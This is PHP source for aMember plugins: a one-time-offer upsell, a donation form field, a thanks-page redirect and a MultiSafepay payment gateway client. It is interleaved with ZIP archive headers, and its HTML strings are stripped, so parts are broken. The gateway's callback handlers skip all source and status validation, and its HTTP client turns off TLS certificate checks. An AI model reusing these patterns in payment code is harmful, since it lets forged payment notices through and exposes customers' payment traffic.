($invoice->data()->get(self::LAST_OTO_YES)) return; // find first matching upsell $oto = $this->getDi()->otoTable->findUpsell($invoice->getProducts()); if ($controller->getRequest()->get('oto') == 'no') { $oto = $this->getDi()->otoTable->findDownsell($invoice->data()->get(self::LAST_OTO_SHOWN)); } if (!$oto) return; if ($controller->getRequest()->get('oto') == 'yes') { $event->stop(); return $this->yesOto($controller, $invoice, $this->getDi()->otoTable->load($invoice->data()->get(self::LAST_OTO_SHOWN))); } if ($oto->pk() == $invoice->data()->get(self::LAST_OTO_SHOWN)) return; $event->stop(); $invoice->data()->set(self::LAST_OTO_SHOWN, $oto->pk())->update(); $html = $oto->render(); $controller->getResponse()->setBody($html); throw new Am_Exception_Redirect; } function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if (!$this->getDi()->auth->getUserId() || !($invoice_id = $this->getDi()->auth->getUser()->data()->get(self::NEED_SHOW_OTO))) throw new Am_Exception_InternalError(); $user = $this->getDi()->auth->getUser(); $invoice = $this->getDi()->invoiceTable->load($invoice_id); $controller = new Am_Mvc_Controller($request, $response, $invokeArgs); // find first matching upsell $oto = $this->getDi()->otoTable->findUpsell($invoice->getProducts()); if ($controller->getRequest()->get('oto') == 'no') { $oto = $this->getDi()->otoTable->findDownsell($invoice->data()->get(self::LAST_OTO_SHOWN)); } if (!$oto) { $user->data()->set(self::NEED_SHOW_OTO, null)->update(); return $response->redirectLocation($this->getDi()->url('',null,false)); } if ($controller->getRequest()->get('oto') == 'yes') { $user->data()->set(self::NEED_SHOW_OTO, null)->update(); return $this->yesOto($controller, $invoice, $this->getDi()->otoTable->load($invoice->data()->get(self::LAST_OTO_SHOWN))); } if ($oto->pk() == $invoice->data()->get(self::LAST_OTO_SHOWN)) { $user->data()->set(self::NEED_SHOW_OTO, null)->update(); return $response->redirectLocation($this->getDi()->url('',null,false)); } $invoice->data()->set(self::LAST_OTO_SHOWN, $oto->pk())->update(); $html = $oto->render(); $controller->getResponse()->setBody($html); throw new Am_Exception_Redirect; } // called when user agreed to OTO function yesOto(Am_Mvc_Controller $controller, Invoice $invoice, Oto $oto) { $invoice->data()->set(self::LAST_OTO_YES, $oto->pk())->update(); $inv = $this->getDi()->invoiceTable->createRecord(); /* @var $inv Invoice */ $inv->data()->set('oto_parent', $invoice->pk()); $inv->user_id = $invoice->user_id; $inv->add($oto->getProduct()); $coupon = $oto->getCoupon(); if ($coupon) $inv->setCoupon($coupon); $inv->calculate(); if ($inv->isZero()) {// free invoice $inv->paysys_id = 'free'; } elseif ($oto->getPaysysId()) { // configured $inv->paysys_id = $oto->getPaysysId(); } elseif ($invoice->paysys_id != 'free') {// not free? take from invoice $inv->paysys_id = $invoice->paysys_id; } else { // was free, now paid, take first public $paysystems = Am_Di::getInstance()->paysystemList->getAllPublic(); $inv->paysys_id = $paysystems[0]->paysys_id; } $inv->insert(); $payProcess = new Am_Paysystem_PayProcessMediator($controller, $inv); $result = $payProcess->process(); // we decided to ignore failures here... } function renderParentInvoices(Am_View $view) { $invoice = $view->invoice; $out = null; while ($parent_invoice_id = $invoice->data()->get('oto_parent')) { $invoice = $this->getDi()->invoiceTable->load($parent_invoice_id); $v = $view->di->view; $v->invoice = $invoice; $out .= "

    Related Order Reference: $invoice->public_id

    "; $out .= $v->render('_receipt.phtml'); } echo $out; } function onGetPermissionsList(Am_Event $event) { $event->addReturn(___('Can Operate with OTO'), self::ADMIN_PERM_ID); } } class AdminOneTimeOfferController extends Am_Mvc_Controller_Grid { protected $_defaultHtml = '

    This text will be displayed before the buttons. Describe your offer here. The following tags "yes" and "no" will be automatically replaced to buttons. Please do not touch or remove them.

    %yes% %no%

    This text will be displayed after "yes" and "no" buttons, you may remove or customize it

    '; public function checkAdminPermissions(Admin $admin) { return $admin->hasPermission(Am_Plugin_Oto::ADMIN_PERM_ID); } public function previewAction() { $id = $this->_request->getInt('id'); if (!$id) throw new Am_Exception_InputError("Empty id passed"); $oto = $this->getDi()->otoTable->load($id); echo $oto->render(); } public function createGrid() { $ds = new Am_Query($this->getDi()->otoTable); $grid = new Am_Grid_Editable('_oto', ___('One Time Offer'), $ds, $this->_request, $this->view, $this->getDi()); $grid->setPermissionId(Am_Plugin_Oto::ADMIN_PERM_ID); $grid->addField('comment', ___('Comment')); $grid->addField(new Am_Grid_Field_IsDisabled()); $grid->setForm(array($this, 'createForm')); $grid->setFormValueCallback('conditions', array('RECORD', 'getConditions'), array('RECORD', 'setConditions')); $grid->setFormValueCallback('view', array('RECORD', 'getView'), array('RECORD', 'setView')); $grid->actionGet('edit')->setTarget('_top'); $grid->addCallback(Am_Grid_Editable::CB_VALUES_TO_FORM, array($this, 'valuesToForm')); $grid->addCallback(Am_Grid_Editable::CB_VALUES_FROM_FORM, array($this, 'valuesFromForm')); $grid->actionAdd(new Am_Grid_Action_Url('preview', ___('Preview'), '__ROOT__/admin-one-time-offer/preview?id=__ID__'))->setTarget('_blank'); $grid->actionAdd(new Am_Grid_Action_CopyOto())->setTarget('_top'); $grid->actionAdd(new Am_Grid_Action_Group_Callback('disable', ___('Disable'), array($this, 'disableOto'))); $grid->actionAdd(new Am_Grid_Action_Group_Callback('enable', ___('Enable'), array($this, 'enableOto'))); $grid->actionAdd(new Am_Grid_Action_Group_Delete()); $grid->actionAdd(new Am_Grid_Action_LiveEdit('comment')); $grid->setRecordTitle(___('One Time Offer')); return $grid; } public function disableOto($id, Oto $oto) { $oto->updateQuick('is_disabled', 1); } public function enableOto($id, Oto $oto) { $oto->updateQuick('is_disabled', 0); } public function valuesFromForm(& $values) { list($product_id, $bp_id) = explode('-', $values['product_id']); $values['product_id'] = $product_id; $values['bp_id'] = $bp_id; } public function valuesToForm(array & $values, Oto $record) { if ($record->isLoaded()) { //backward workaround if (!$record->bp_id) { /* @var $product Product */ $product = $this->getDi()->productTable->load($record->product_id); $plan = $product->getBillingPlan(); $record->bp_id = $plan->pk(); } $values['product_id'] = "{$record->product_id}-{$record->bp_id}"; } if (empty($values['view'])) { $values['view'] = array( 'title' => 'One Time Offer', 'html' => $this->_defaultHtml, 'yes' => array('label' => 'Yes, Add To Card'), 'no' => array('label' => 'No, Thank You'), 'no_layout' => 0, ); } } function createForm() { $form = new Am_Form_Admin(); $form->addText('comment', array('class' => 'el-wide')) ->setLabel(___("Comment\n" . 'for your reference')) ->addRule('required'); $sel = $form->addMagicSelect('conditions[product]') ->setLabel(___("Conditions\n" . 'After actual payment aMember will check user invoice and in case ' . 'of it contains one of defined product or product from defined ' . 'product category this OTO will be shown for him instead of ' . 'ordinary thank you page. In case of you use OTO (Downsell) ' . 'condition it will be matched if user click NO link in defined ' . 'offer and this OTO will be shown for user')); $cats = $pr = $oto = array(); foreach ($this->getDi()->productCategoryTable->getAdminSelectOptions() as $k => $v) $cats['category-' . $k] = ___('Category') . ':' . $v; foreach ($this->getDi()->productTable->getOptions() as $k => $v) $pr['product-' . $k] = ___('Product') . ':' . $v; foreach ($this->getDi()->otoTable->getOptions() as $k => $v) $oto['oto-' . $k] = ___('OTO') . ':' . $v; $options = array(___('Categories') => $cats) + ($pr ? array(___('Products') => $pr) : array()) + ($oto ? array(___('OTO (Downsell)') => $oto) : array()); $sel->loadOptions($options); $sel->addRule('required'); $bpOptions = array(); foreach ($this->getDi()->productTable->findBy(array('is_archived' => 0)) as $product) { /* @var $product Product */ foreach ($product->getBillingOptions() as $bp_id => $title) { $bpOptions[$product->pk() . '-' . $bp_id] = sprintf('(%d) %s (%s)', $product->pk(), $product->title, $title); } } $form->addSelect('product_id')->setLabel('Product to Offer') ->loadOptions($bpOptions) ->addRule('required'); $coupons = array('' => ''); foreach ($this->getDi()->db->selectCol(" SELECT c.coupon_id as ARRAY_KEY, CONCAT(c.code, ' - ' , b.comment) FROM ?_coupon c LEFT JOIN ?_coupon_batch b USING (batch_id) ORDER BY c.code ") as $k => $v) $coupons[$k] = $v; $form->addSelect('coupon_id')->setLabel(___('Apply Coupon (optional)')) ->loadOptions($coupons); $psList = array('' => '') + $this->getDi()->paysystemList->getOptionsPublic(); $form->addSelect('view[paysys_id]')->setLabel(___('Paysystem (optional)')) ->loadOptions($psList); $fs = $form->addFieldSet()->setLabel(___('Offer Page Settings')); $fs->addText('view[title]', array('class' => 'el-wide'))->setLabel(___('Title')); $fs->addHtmlEditor('view[html]')->setLabel("Offer Text\nuse %yes% and %no% to insert buttons"); $fs->addHtmlEditor('view[yes][label]')->setLabel('[Yes] button text'); $fs->addHtmlEditor('view[no][label]')->setLabel('[No] button code'); $fs->addAdvCheckbox('view[no_layout]')->setLabel(___("Avoid using standard layout\nyou have to design entire page in the 'Offer Text' field")); return $form; } } class OtoTable extends Am_Table { protected $_table = '?_oto'; protected $_recordClass = 'Oto'; protected $_key = 'oto_id'; /** * @param array $products * @return Oto */ function findUpsell(array $products) { if ($products && current($products) instanceof Product) { foreach ($products as $k => $p) $products[$k] = $p->product_id; } foreach ($this->findBy(array('is_disabled' => 0)) as $oto) { /* @var $oto Oto */ if ($oto->matchProducts($products)) return $oto; } } /** * @param int $oto_id * @return Oto */ function findDownsell($oto_id) { foreach ($this->findBy(array('is_disabled' => 0)) as $oto) { /* @var $oto Oto */ if ($oto->matchOto($oto_id)) return $oto; } } function getOptions() { return array_map(array('Am_Html', 'escape'), $this->_db->selectCol("SELECT oto_id as ARRAY_KEY, comment FROM ?_oto ORDER BY comment")); } } /** * @property int $oto_id * @property string $comment * @property string $conditions * @property string $view * @property int $product_id * @property int $coupon_id */ class Oto extends Am_Record { function matchProducts(array $product_ids) { $cats = $this->getDi()->productCategoryTable->getCategoryProducts(); // $cats set to category_id => array(product_ids) $cond = $this->getConditions(); foreach ($cond['product'] as $s) { if (preg_match('/product-(\d+)/', $s, $regs)) { if (in_array($regs[1], $product_ids)) return true; } elseif (preg_match('/category-(\d+)/', $s, $regs)) { if (array_intersect(@$cats[$regs[1]], $product_ids)) return true; } } return false; } function matchOto($oto_id) { $cond = $this->getConditions(); foreach ($cond['product'] as $s) { if (preg_match('/oto-(\d+)/', $s, $regs) && ($regs[1] == $oto_id)) return true; } return false; } protected function _getJson($fn) { $v = $this->get($fn); if (empty($v)) return array(); return json_decode($v, true); } protected function _setJson($fn, array $v) { $this->{$fn} = json_encode($v); return $this->{$fn}; } function getConditions() { return $this->_getJson('conditions'); } function setConditions(array $conditions) { return $this->_setJson('conditions', $conditions); } function getView() { return $this->_getJson('view'); } function setView(array $view) { return $this->_setJson('view', $view); } /** @return Coupon|null */ function getCoupon() { if ($this->coupon_id) return $this->getDi()->couponTable->load($this->coupon_id); } /** @return Product */ function getProduct() { /* @var $product Product */ $product = $this->getDi()->productTable->load($this->product_id); if ($this->bp_id) { $product->setBillingPlan($this->bp_id); } return $product; } /** @return PaysysId */ function getPaysysId() { $viewVars = $this->getView(); if (isset($viewVars['paysys_id'])) return $viewVars['paysys_id']; } function render() { $view = $this->getView(); $html = $view['html']; $id = $this->getDi()->security->obfuscate($this->pk()); $html = str_replace('%yes%', '', $html); $html = str_replace('%no%', '' . $view['no']['label'] . '', $html); if ($view['no_layout']) { $title = Am_Html::escape($view['title']); $html = strpos($html, 'html') === false ? "\n$title" . $html . "" : $html; } else { $v = $this->getDi()->view; $v->title = $view['title']; $v->content = $html; $v->layoutNoMenu = $v->layoutNoLang = $v->layoutNoTitle = true; $html = $v->render('layout.phtml'); } return $html; } } class Am_Mvc_Controller_Plugin_Oto extends Zend_Controller_Plugin_Abstract { public function preDispatch(Zend_Controller_Request_Abstract $request) { if (stripos($this->getRequest()->getControllerName(), 'admin') === 0) return; //exception for admin $di = Am_Di::getInstance(); if ($di->auth->getUserId() && $di->auth->getUser()->data()->get(Am_Plugin_Oto::NEED_SHOW_OTO)) { $request->setControllerName('direct') ->setActionName('index') ->setModuleName('default') ->setParam('type', 'misc') ->setParam('plugin_id', 'oto'); } } } class Am_Grid_Action_CopyOto extends Am_Grid_Action_Abstract { protected $id = 'copy'; protected $privilege = 'insert'; public function run() { $record = $this->grid->getRecord(); $vars = $record->toRow(); unset($vars['oto_id']); $vars['comment'] = ___('Copy of') . ' ' . $record->comment; $vars['view'] = json_decode($vars['view'], true); $vars['conditions'] = json_decode($vars['conditions'], true); $back = @$_SERVER['HTTP_X_REQUESTED_WITH']; $_SERVER['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest'; $request = new Am_Mvc_Request($vars + array($this->grid->getId() . '_a' => 'insert', $this->grid->getId() . '_b' => $this->grid->getBackUrl()), Am_Mvc_Request::METHOD_POST); $request->setModuleName('default') ->setControllerName('admin-one-time-offfer') ->setActionName('index') ->setDispatched(true); $controller = new AdminOneTimeOfferController_Copy($request, new Am_Mvc_Response(), array('di' => Am_Di::getInstance())); $controller->dispatch('indexAction'); $response = $controller->getResponse(); $response->sendResponse(); $_SERVER['HTTP_X_REQUESTED_WITH'] = $back; } } class AdminOneTimeOfferController_Copy extends AdminOneTimeOfferController { public function valuesToForm(array & $values, Oto $record) { //nop } }PK\misc/donation.phpnu[Donation plugin readme 1. Create special product for donations and make this product hidden or disabled. (Product First & Second prices really doesn't matter, plugin will replace these values automatically.) If you want to enable recurring donations, configure product to be recurring as well. 2. In aMember CP -> Forms Editor -> Edit Signup form add donation brick to signup form and configure it. EOT; } } __halt_compiler(); class Am_Form_Brick_Donation extends Am_Form_Brick { protected static $brickPosition = 900; protected $hideIfLoggedInPossible = self::HIDE_DONT; protected $labels = array( 'Make a Donation', 'Support Us!', 'Make donation recurring', 'Please specifiy donation amount', 'Please enter correct amount', 'The minimum donation amount is %s' ); const RECURRING_NONE = 0; const RECURRING_OPTION = 1; const RECURRING_FORCE = 2; public function init() { if ($this->getConfig('product')) Am_Di::getInstance()->hook->add(Am_Event::INVOICE_BEFORE_PAYMENT_SIGNUP, array($this, 'handleDonation')); } function handleDonation(Am_Event $e) { /* @var $invoice Invoice */ $invoice = $e->getInvoice(); $vars = $e->getVars(); $p_id = $this->getConfig('product'); foreach ($invoice->getItems() as $item) { if ($item->item_type == 'product' && $item->item_id == $p_id) { if (!$vars['donation'][$p_id]) { $invoice->deleteItem($item); } else { $item->first_price = $vars['donation'][$p_id]; $item->data()->set('orig_first_price', $item->first_price); if ($this->getConfig('recurring') == self::RECURRING_FORCE || (isset($vars['recurring'][$p_id]) && $vars['recurring'][$p_id])) { $item->second_price = $item->first_price; $item->data()->set('orig_second_price', $item->second_price); } else { $item->rebill_times = 0; $item->second_price = 0; $item->second_period = null; $item->data()->set('orig_second_price', $item->second_price); } } $invoice->calculate(); $invoice->save(); break; } } } function initConfigForm(Am_Form $form) { $form->addSelect('product') ->setLabel(___("Donation Product\n". "Product which will be added to user's account")) ->loadOptions(array('' => '') + Am_Di::getInstance()->productTable->getOptions()); $form->addSelect('recurring') ->setLabel(___("Recurring?\n" . "Product must be recurring as well, First & Second periods will be taken from product config")) ->loadOptions(array( self::RECURRING_NONE => ___('Not Recurring'), self::RECURRING_OPTION => ___('User can choose to make donation recurring'), self::RECURRING_FORCE => ___('Recurring') )); $form->addAdvCheckbox('is_required') ->setLabel(___('Is Donation Required?')); $form->addText('amount_min') ->setLabel(___("Minimum amount of donation\n" . "keep it empty if there is not any limit")); } function isAcceptableForForm(Am_Form_Bricked $form) { return $form instanceof Am_Form_Signup; } public function insertBrick(HTML_QuickForm2_Container $form) { if (!$this->getConfig('product')) { Am_Di::getInstance()->errorLogTable->log('Donation brick is not configured. Skipped...'); return; } $name = self::$brickPosition ? 'product_id_' . self::$brickPosition : 'product_id'; self::$brickPosition++; $gr = $form->addGroup('') ->setLabel(array($this->___('Make a Donation'), $this->___('Support Us!'))); $product = Am_Di::getInstance()->productTable->load($this->getConfig('product')); $bp = $product->getBillingPlans(); $pid = $product->product_id . '-' . $bp[0]->plan_id; $id = $name . '-donation'; $form->addHidden($name) ->setId($id) ->setValue($pid) ->setAttribute('data-first_price', 0) ->setAttribute('data-second_price', 0); $form->addScript() ->setScript(<<addText('donation[' . $product->product_id . ']', array('size' => 3, 'id' => $id . '-amount')); if($this->getConfig('is_required')) $dfield->addRule('required', $this->___('Please specifiy donation amount')); if ($min = $this->getConfig('amount_min')) { $dfield->addRule('gte', $this->___('The minimum donation amount is %s', $min), $min); } $dfield->addRule('regex', $this->___("Please enter correct amount"), '/^\d+(|\.\d+)$/');; if ($this->getConfig('recurring') == self::RECURRING_OPTION) { $gr->addHTML()->setHTML('  ' . $this->___('Make donation recurring') . ' '); $gr->addCheckbox('recurring[' . $product->product_id . ']'); } } public function isMultiple() { return true; } }PK\ccmisc/thanks-redirect.phpnu[getGrid()->getForm()->getAdditionalFieldSet() ->addText('_thanks_redirect_url', array('class' => 'el-wide')) ->setLabel(___("After Purchase Redirect User to this URL\ninstead of thanks page\n" . 'You can use %root_url%, %root_surl%, %invoice.%, %product.% and %user.% variables in url eg: %user.login%, %user.email%, %invoice.public_id% etc.')); } function onGridProductValuesFromForm(Am_Event_Grid $e) { $args = $e->getArgs(); $product = $args[1]; $product->data()->set('thanks_redirect_url', @$args[0]['_thanks_redirect_url']); } function onGridProductValuesToForm(Am_Event_Grid $e) { $args = $e->getArgs(); $product = $args[1]; $args[0]['_thanks_redirect_url'] = $product->data()->get('thanks_redirect_url'); } function onThanksPage(Am_Event $e) { if(!$e->getInvoice()) return; $url = null; foreach ($e->getInvoice()->getProducts() as $pr) { if ($url = $pr->data()->get('thanks_redirect_url')) break; } $t = new Am_SimpleTemplate(); $t->assignStdVars(); $t->assign('invoice', $e->getInvoice()); $t->assign('user', $e->getInvoice()->getUser()); if ($product = $e->getInvoice()->getItem(0)->tryLoadProduct()) { $t->assign('product', $product); } if ($url = $t->render($url)) { Am_Mvc_Response::redirectLocation($url); } } }PK\m/Wrr%payment/multisafepay/multisafepay.phpnu[addText("account_id")->setLabel('Account ID'); $form->addText("site_id")->setLabel('Site ID'); $form->addText("site_code")->setLabel('Site Code'); $form->addAdvCheckbox('testing')->setLabel('Test Mode'); } function getSupportedCurrencies() { return array('USD','GBP','EUR'); } public function createMSP() { require_once dirname(__FILE__) . '/MultiSafepay.class.php'; $msp = new MultiSafepay(); $msp->test = (bool)$this->getConfig('testing'); $msp->merchant['account_id'] = $this->getConfig('account_id'); $msp->merchant['site_id'] = $this->getConfig('site_id'); $msp->merchant['site_code'] = $this->getConfig('site_code'); return $msp; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $u = $invoice->getUser(); $msp = $this->createMSP(); $msp->merchant['notification_url'] = $this->getPluginUrl('ipn'); $msp->merchant['cancel_url'] = $this->getCancelUrl(); $msp->merchant['redirect_url'] = $this->getReturnUrl(); $msp->customer['locale'] = 'en'; $msp->customer['firstname'] = $u->name_f; $msp->customer['lastname'] = $u->name_l; $msp->customer['zipcode'] = $u->zip; $msp->customer['city'] = $u->city; $msp->customer['country'] = $u->country; $msp->customer['email'] = $u->email; $msp->parseCustomerAddress($member['street']); /* * Transaction Details */ $msp->transaction['id'] = $invoice->public_id; // generally the shop's order ID is used here $msp->transaction['currency'] = $invoice->currency; $msp->transaction['amount'] = $invoice->first_total * 100; // cents $msp->transaction['description'] = $invoice->getLineDescription(); $out = ''; foreach ($invoice->getItems() as $item) $out .= sprintf('
  • %s
  • ', htmlspecialchars($item->item_title)); $msp->transaction['items'] = sprintf('
      %s
    ', $out); $url = $msp->startTransaction(); if ($msp->error){ $result->setFailed(___('Error happened during payment process. ').' ('.$msp->error_code . ": " . $msp->error.')'); return; } $a = new Am_Paysystem_Action_Redirect($url); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Multisafepay($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Multisafepay_Thanks($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } } class Am_Paysystem_Transaction_Multisafepay_Thanks extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->get('transactionid'); } public function getUniqId() { return $_SERVER['REMOTE_ADDR'] . '-' . $this->getPlugin()->getDi()->time; } public function validateSource() { return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } public function getInvoice() { return $this->invoice; } } class Am_Paysystem_Transaction_Multisafepay extends Am_Paysystem_Transaction_Incoming { protected $msp; public function __construct(Am_Paysystem_Abstract $plugin, Am_Mvc_Request $request, Am_Mvc_Response $response, $invokeArgs) { $this->msp = $plugin->createMSP(); $this->msp->transaction['id'] = $request->get('transactionid'); parent::__construct($plugin, $request, $response, $invokeArgs); } public function findInvoiceId() { return $this->request->get('transactionid'); } public function getUniqId() { return $_SERVER['REMOTE_ADDR'] . '-' . $this->getPlugin()->getDi()->time; } public function validateSource() { return true; } public function validateStatus() { return true; //return $this->msp->error; } public function validateTerms() { return true; } public function processValidated() { switch ($this->msp->getStatus()) { case "completed": $this->invoice->addPayment($this); break; case "refunded": $this->invoice->addRefund($this,$this->invoice->first_total); break; default: break; } } }PK\GJPJP+payment/multisafepay/MultiSafepay.class.phpnu[ '', // required 'site_id' => '', // required 'site_code' => '', // required 'notification_url' => '', 'cancel_url' => '', 'redirect_url' => '', 'close_window' => '', ); // customer data var $customer = array( 'locale' => '', // advised 'ipaddress' => '', 'forwardedip' => '', 'firstname' => '', 'lastname' => '', 'address1' => '', 'address2' => '', 'housenumber' => '', 'zipcode' => '', 'city' => '', 'state' => '', 'country' => '', 'phone' => '', 'email' => '', // advised ); // transaction data var $transaction = array( 'id' => '', // required 'currency' => '', // required 'amount' => '', // required 'description' => '', // required 'var1' => '', 'var2' => '', 'var3' => '', 'items' => '', 'manual' => 'false', 'gateway' => '', 'daysactive' => '', ); // signature var $signature; // return vars var $api_url; var $request_xml; var $reply_xml; var $payment_url; var $status; var $error_code; var $error; var $parsed_xml; var $parsed_root; /* * Check the settings before using them */ function checkSettings(){ // trim any spaces $this->merchant['account_id'] = trim($this->merchant['account_id']); $this->merchant['site_id'] = trim($this->merchant['site_id']); $this->merchant['site_code'] = trim($this->merchant['site_code']); } /* * Starts a transaction and returns the payment url */ function startTransaction(){ $this->checkSettings(); $this->setIp(); $this->createSignature(); // create request $this->request_xml = $this->createTransactionRequest(); // post request and get reply $this->api_url = $this->getApiUrl(); $this->reply_xml = $this->xmlPost($this->api_url, $this->request_xml); // communication error if (!$this->reply_xml) return false; // parse xml $rootNode = $this->parseXmlResponse($this->reply_xml); if (!$rootNode) return false; // return payment url $this->payment_url = $this->xmlUnescape($rootNode['transaction']['payment_url']['VALUE']); return $this->payment_url; } /* * Return the status for the specified transactionid */ function getStatus(){ $this->checkSettings(); // generate request $this->request_xml = $this->createStatusRequest(); // post request and get reply $this->api_url = $this->getApiUrl(); $this->reply_xml = $this->xmlPost($this->api_url, $this->request_xml); // communication error if (!$this->reply_xml) return false; // parse xml $rootNode = $this->parseXmlResponse($this->reply_xml); if (!$rootNode) return false; // return status $this->status = $rootNode['ewallet']['status']['VALUE']; return $this->status; } /* * Returns an associative array with the ids and the descriptions of the available gateways */ function getGateways(){ $this->checkSettings(); // generate request $this->request_xml = $this->createGatewaysRequest(); // post request and get reply $this->api_url = $this->getApiUrl(); $this->reply_xml = $this->xmlPost($this->api_url, $this->request_xml); // communication error if (!$this->reply_xml) return false; // parse xml $rootNode = $this->parseXmlResponse($this->reply_xml); if (!$rootNode) return false; // get gatesways $gateways = array(); foreach($rootNode['gateways']['gateway'] as $xml_gateway){ $gateway = array(); $gateway['id'] = $xml_gateway['id']['VALUE']; $gateway['description'] = $xml_gateway['description']['VALUE']; // issuers if (isset($xml_gateway['issuers'])){ $issuers = array(); foreach($xml_gateway['issuers']['issuer'] as $xml_issuer){ $issuer = array(); $issuer['id'] = $xml_issuer['id']['VALUE']; $issuer['description'] = $xml_issuer['description']['VALUE']; $issuers[$issuer['id']] = $issuer; } $gateway['issuers'] = $issuers; } $gateways[$gateway['id']] = $gateway; } // return return $gateways; } /* * Create the transaction request xml */ function createTransactionRequest(){ // issuer attribute $issuer = ""; if (!empty($this->issuer)){ $issuer =' issuer="'.$this->xmlEscape($this->issuer).'"'; } $request = ' ' . $this->xmlEscape($this->merchant['account_id']) . ' ' . $this->xmlEscape($this->merchant['site_id']) . ' ' . $this->xmlEscape($this->merchant['site_code']) . ' ' . $this->xmlEscape($this->merchant['notification_url']) . ' ' . $this->xmlEscape($this->merchant['cancel_url']) . ' ' . $this->xmlEscape($this->merchant['redirect_url']) . ' ' . $this->xmlEscape($this->merchant['close_window']) . ' ' . $this->xmlEscape($this->customer['locale']) . ' ' . $this->xmlEscape($this->customer['ipaddress']) . ' ' . $this->xmlEscape($this->customer['forwardedip']) . ' ' . $this->xmlEscape($this->customer['firstname']) . ' ' . $this->xmlEscape($this->customer['lastname']) . ' ' . $this->xmlEscape($this->customer['address1']) . ' ' . $this->xmlEscape($this->customer['address2']) . ' ' . $this->xmlEscape($this->customer['housenumber']) . ' ' . $this->xmlEscape($this->customer['zipcode']) . ' ' . $this->xmlEscape($this->customer['city']) . ' ' . $this->xmlEscape($this->customer['state']) . ' ' . $this->xmlEscape($this->customer['country']) . ' ' . $this->xmlEscape($this->customer['phone']) . ' ' . $this->xmlEscape($this->customer['email']) . ' ' . $this->xmlEscape($this->transaction['id']) . ' ' . $this->xmlEscape($this->transaction['currency']) . ' ' . $this->xmlEscape($this->transaction['amount']) . ' ' . $this->xmlEscape($this->transaction['description']) . ' ' . $this->xmlEscape($this->transaction['var1']) . ' ' . $this->xmlEscape($this->transaction['var2']) . ' ' . $this->xmlEscape($this->transaction['var3']) . ' ' . $this->xmlEscape($this->transaction['items']) . ' ' . $this->xmlEscape($this->transaction['manual']) . ' '.$this->xmlEscape($this->transaction['gateway']) . ' ' . $this->xmlEscape($this->signature) . ' '; return $request; } /* * Create the status request xml */ function createStatusRequest(){ $request = ' ' . $this->xmlEscape($this->merchant['account_id']) . ' ' . $this->xmlEscape($this->merchant['site_id']) . ' ' . $this->xmlEscape($this->merchant['site_code']) . ' ' . $this->xmlEscape($this->transaction['id']) . ' '; return $request; } /* * Create the gateway request xml */ function createGatewaysRequest(){ $request = ' ' . $this->xmlEscape($this->merchant['account_id']) . ' ' . $this->xmlEscape($this->merchant['site_id']) . ' ' . $this->xmlEscape($this->merchant['site_code']) . ' ' . $this->xmlEscape($this->transaction['id']) . ' '; return $request; } /* * Creates the signature */ function createSignature(){ $this->signature = md5( $this->transaction['amount'] . $this->transaction['currency'] . $this->merchant['account_id'] . $this->merchant['site_id'] . $this->transaction['id'] ); } /* * Sets the customers ip variables */ function setIp(){ $this->customer['ipaddress'] = $_SERVER['REMOTE_ADDR']; if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ $this->customer['forwardedip'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } } /* * Parses and sets customer address */ function parseCustomerAddress($street_address){ list($address, $apartment) = $this->parseAddress($street_address); $this->customer['address1'] = $address; $this->customer['housenumber'] = $apartment; } /* * Parses and splits up an address in street and housenumber */ function parseAddress($street_address){ $address = $street_address; $apartment = ""; $offset = strlen($street_address); while (($offset = $this->rstrpos($street_address, ' ', $offset)) !== false) { if ($offset < strlen($street_address)-1 && is_numeric($street_address[$offset + 1])) { $address = trim(substr($street_address, 0, $offset)); $apartment = trim(substr($street_address, $offset + 1)); break; } } if (empty($apartment) && strlen($street_address) > 0 && is_numeric($street_address[0])) { $pos = strpos($street_address, ' '); if ($pos !== false) { $apartment = trim(substr($street_address, 0, $pos), ", \t\n\r\0\x0B"); $address = trim(substr($street_address, $pos + 1)); } } return array($address, $apartment); } /* * Returns the api url */ function getApiUrl(){ if ($this->test){ return "https://testapi.multisafepay.com/ewx/"; }else{ return "https://api.multisafepay.com/ewx/"; } } /* * Parse an xml response */ function parseXmlResponse($response){ // strip xml line $response = preg_replace('#]*>#is', '', $response); // parse $parser = new msp_gc_xmlparser($response); $this->parsed_xml = $parser->GetData(); $this->parsed_root = $parser->GetRoot(); $rootNode = $this->parsed_xml[$this->parsed_root]; // check if valid response? // check for error $result = $this->parsed_xml[$this->parsed_root]['result']; if ($result != "ok"){ $this->error_code = $rootNode['error']['code']['VALUE']; $this->error = $rootNode['error']['description']['VALUE']; return false; } return $rootNode; } /* * Returns the string escaped for use in XML documents */ function xmlEscape($str){ return htmlspecialchars($str,ENT_COMPAT, "UTF-8"); } /* * Returns the string with all XML escaping removed */ function xmlUnescape($str){ return html_entity_decode($str,ENT_COMPAT, "UTF-8"); } /* * Post the supplied XML data and return the reply */ function xmlPost($url, $request_xml, $verify_peer = false){ $curl_available = extension_loaded("curl"); // generate request $header = array(); if (!$curl_available) { $url = parse_url($url); if (empty($url['port'])) { $url['port'] = $url['scheme'] == "https" ? 443 : 80; } $header[] = "POST " . $url['path'] . "?" . $url['query'] . " HTTP/1.1"; $header[] = "Host: " . $url['host'] . ":" . $url['port']; $header[] = "Content-Length: " . strlen($request_xml); } $header[] = "Content-Type: text/xml"; $header[] = "Connection: close"; // issue request if ($curl_available) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $header); curl_setopt($ch, CURLOPT_POSTFIELDS, $request_xml); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, $verify_peer); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); curl_setopt($ch, CURLOPT_MAXREDIRS, 5); curl_setopt($ch, CURLOPT_HEADER, true); //curl_setopt($ch, CURLOPT_HEADER_OUT, true); $reply_data = curl_exec($ch); } else { $request_data = implode("\r\n", $header); $request_data .= 